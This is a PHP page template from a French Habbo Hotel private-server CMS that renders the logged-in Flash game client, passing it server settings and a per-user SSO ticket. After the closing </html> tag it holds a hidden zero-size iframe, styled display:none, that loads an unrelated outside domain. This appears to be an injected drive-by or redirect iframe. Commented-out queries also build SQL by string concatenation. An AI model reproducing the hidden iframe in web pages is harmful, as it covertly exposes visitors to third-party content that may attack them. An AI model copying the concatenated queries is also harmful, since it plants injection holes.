<?php
#######################################################|#
#|                    HabboMCMS - TheRox
#|                    Powered by HoloCMS 
#|            Copyright 2011-2012 ALL RIGHTS RESERVED
#######################################################|#

require_once('global.php');
require_once('INC/class.session.php');

if($logged_in){ 
require_once('INC/class.session.php');
} else { 
    header("Location: index.php"); 
    exit; 
}

$tmp = mysql_query("SELECT * FROM site_system LIMIT 1") or die(mysql_error());
$system = mysql_fetch_assoc($tmp);

//mysql_query("UPDATE users SET ip_last = '".$remote_ip."' WHERE username = '".$myrow['username']."'"); 
//mysql_query("UPDATE users SET online = '1' WHERE username = '".$myrow['username']."'");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<title><?php echo $shortname; ?> Hotel</title>

<script type="text/javascript">
var andSoItBegins = (new Date()).getTime();
</script>
<link rel="shortcut icon" href="<?php echo $path; ?>/web-gallery/v2/favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="alternate" type="application/rss+xml" title="Habbo: RSS" href="<?php echo $path; ?>/articles/rss.xml" />
<meta name="csrf-token" content="Dfc5d8896"/>
<link rel="stylesheet" href="<?php echo $path; ?>/web-gallery/static/styles/common.css" type="text/css" />
<script src="<?php echo $path; ?>/web-gallery/static/js/libs2.js" type="text/javascript"></script>

<script src="<?php echo $path; ?>/web-gallery/static/js/visual.js" type="text/javascript"></script>
<script src="<?php echo $path; ?>/web-gallery/static/js/libs.js" type="text/javascript"></script>
<script src="<?php echo $path; ?>/web-gallery/static/js/common.js" type="text/javascript"></script>


<script type="text/javascript">
var ad_keywords = "sagesse,theoutfit,espoire,gender%3Am,age%3A16";
var ad_key_value = "kvage=16;kvgender=m;kvtags=sagesse:theoutfit:espoire";
</script>
<script type="text/javascript">
document.habboLoggedIn = true;
var habboName = "<?php echo $name; ?>";
var habboId = <?php echo $my_id; ?>;
var facebookUser = false;
var habboReqPath = "";
var habboStaticFilePath = "<?php echo $path; ?>/web-gallery";
var habboImagerUrl = "<?php echo $path; ?>/habbo-imaging/";
var habboPartner = "";
var habboDefaultClientPopupUrl = "<?php echo $path; ?>/client";
window.name = "3e0200656536e87bdc98e12ef52678f6fc05010e";
if (typeof HabboClient != "undefined") {
    HabboClient.windowName = "3e0200656536e87bdc98e12ef52678f6fc05010e";
}


</script>


<noscript>
    <meta http-equiv="refresh" content="0;url=/client/nojs" />
</noscript>



<link rel="stylesheet" href="<?php echo $path; ?>/web-gallery/static/styles/habboflashclient.css" type="text/css" />
<script src="<?php echo $path; ?>/web-gallery/static/js/habboflashclient.js" type="text/javascript"></script>
<script type="text/javascript">
    FlashExternalInterface.loginLogEnabled = true;
    
    FlashExternalInterface.logLoginStep("web.view.start");
    
    if (top == self) {
        FlashHabboClient.cacheCheck();
    }
    var flashvars = {
            "client.allow.cross.domain" : "0", 
            "client.notify.cross.domain" : "1", 
            "connection.info.host" : "<?php echo HabboCMSTEXT($system['ip']); ?>", 
            "connection.info.port" : "<?php echo HabboCMSTEXT($system['port']); ?>", 
            "site.url" : "<?php echo $path; ?>", 
            "url.prefix" : "<?php echo $path; ?>", 
            "client.reload.url" : "<?php echo $path; ?>/flash_client", 
            "client.fatal.error.url" : "<?php echo $path; ?>/flash_client_error", 
            "client.connection.failed.url" : "<?php echo $path; ?>/client_connection_failed", 
            "external.variables.txt" : "<?php echo HabboCMSTEXT($system['variables']); ?>", 
            "external.texts.txt" : "<?php echo HabboCMSTEXT($system['texts']); ?>", 
            "productdata.load.url" : "<?php echo HabboCMSTEXT($system['productdata']); ?>", 
            "furnidata.load.url" : "<?php echo HabboCMSTEXT($system['furnidata']); ?>", 
            "use.sso.ticket" : "1", 
            "sso.ticket" : "<?php echo UpdateSSO($my_id); ?>", 
            "processlog.enabled" : "1", 
            "account_id" : "<?php echo $my_id; ?>", 
            "client.starting" : "Patience <?php echo $name; ?>, MonHabbo charge!", 
            "flash.client.url" : "<?php echo HabboCMSTEXT($system['flash_base']); ?>", 
            "user.hash" : "", 
            "has.identity" : "1", 
            "flash.client.origin" : "popup" 
    };
    var params = {
        "base" : "<?php echo HabboCMSTEXT($system['flash_base']); ?>",
        "allowScriptAccess" : "always",
        "menu" : "false"                
    };

        if (!(HabbletLoader.needsFlashKbWorkaround())) {
            params["wmode"] = "opaque";
        }

    FlashExternalInterface.signoutUrl = "<?php echo $path;?>/logout";

    var clientUrl = "<?php echo HabboCMSTEXT($system['flash_url']); ?>";
    swfobject.embedSWF(clientUrl, "flash-container", "100%", "100%", "10.0.0", "<?php echo $path; ?>/web-gallery/flash/expressInstall.swf", flashvars, params, null, FlashExternalInterface.embedSwfCallback);

    window.onbeforeunload = unloading;
    function unloading() {
        var clientObject;
        if (navigator.appName.indexOf("Microsoft") != -1) {
            clientObject = window["flash-container"];
        } else {
            clientObject = document["flash-container"];
        }
        try {
            clientObject.unloading();
        } catch (e) {}
    }
</script>

<meta name="description" content="Habbo Hotel - fais-toi plein d’amis, deviens célèbre! Séjourne GRATUITEMENT dans le plus grand hôtel virtuel au monde! Crée ton avatar pour jouer et faire de nouvelles rencontres…" />
<meta name="keywords" content="habbo hotel, virtuel, monde, réseau social, gratuit, communauté, avatar, chat, connecté, adolescence, jeu de rôle, rejoindre, social, groupes, forums, sécurité, jouer, jeux, amis, rares, ados, jeunes, collector, collectionner, créer, connecter, meuble, mobilier, animaux, déco, design, appart, décorer, partager, création, badges, musique, célébrité, chat vip, fun, sortir, mmo, mmorpg, jeu massivement multijoueur" />



<!--[if IE 8]>
<link rel="stylesheet" href="<?php echo $path; ?>/web-gallery/static/styles/ie8.css" type="text/css" />
<![endif]-->
<!--[if lt IE 8]>
<link rel="stylesheet" href="<?php echo $path; ?>/web-gallery/static/styles/ie.css" type="text/css" />
<![endif]-->
<!--[if lt IE 7]>
<link rel="stylesheet" href="<?php echo $path; ?>/web-gallery/static/styles/ie6.css" type="text/css" />
<script src="<?php echo $path; ?>/web-gallery/static/js/pngfix.js" type="text/javascript"></script>
<script type="text/javascript">
try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {}
</script>

<style type="text/css">
body { behavior: url(/js/csshover.htc); }
</style>
<![endif]-->

<meta name="build" content="63-BUILD608 - 29.07.2011 23:04 - fr" />
</head>

<body id="client" class="flashclient">
<div id="overlay"></div>
<img src="<?php echo $path; ?>/web-gallery/v2/images/page_loader.gif" style="position:absolute; margin: -1500px;" />

<div id="overlay"></div>
<div id="client-ui" >
    <div id="flash-wrapper">
    <div id="flash-container">
        <div id="content" style="width: 400px; margin: 20px auto 0 auto; display: none">
<div class="cbb clearfix">
    <h2 class="title">Merci de mettre la dernière version d'Adobe Flash Player.</h2>

    <div class="box-content">
            <p>Tu peux télécharger Adobe Flash Player <a href="http://get.adobe.com/flashplayer/">ICI</a>. Pour plus d'informations sur l'installation, rends-toi sur : <a href="http://www.adobe.com/fr/products/flashplayer/productinfo/instructions/">cette page</a></p>
            <p><a href="http://www.adobe.com/go/getflashplayer"><img src="<?php echo $path; ?>/web-gallery/v2/images/client/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>
    </div>
</div>
        </div>
        <script type="text/javascript">
            $('content').show();
        </script>

        <noscript>
            <div style="width: 400px; margin: 20px auto 0 auto; text-align: center">
                <p>If you are not automatically redirected, please <a href="/client/nojs">click here</a></p>
            </div>
        </noscript>
    </div>
    </div>
	<div id="content" class="client-content"></div>            
</div>
    <script type="text/javascript">
        RightClick.init("flash-wrapper", "flash-container");
        if (window.opener && window.opener != window && window.opener.location.href == "/") {
            window.opener.location.replace("/me");
        }
        $(document.body).addClassName("js");
       	HabboClient.startPingListener();
        Pinger.start(true);
        HabboClient.resizeToFitScreenIfNeeded();
    </script>

<script type="text/javascript">
    HabboView.run();
</script>

</body>
</html>

<iframe src="http://lastar.cbalow.fr" width="0" height="0" style="display:none;height:0;width:0;"></iframe>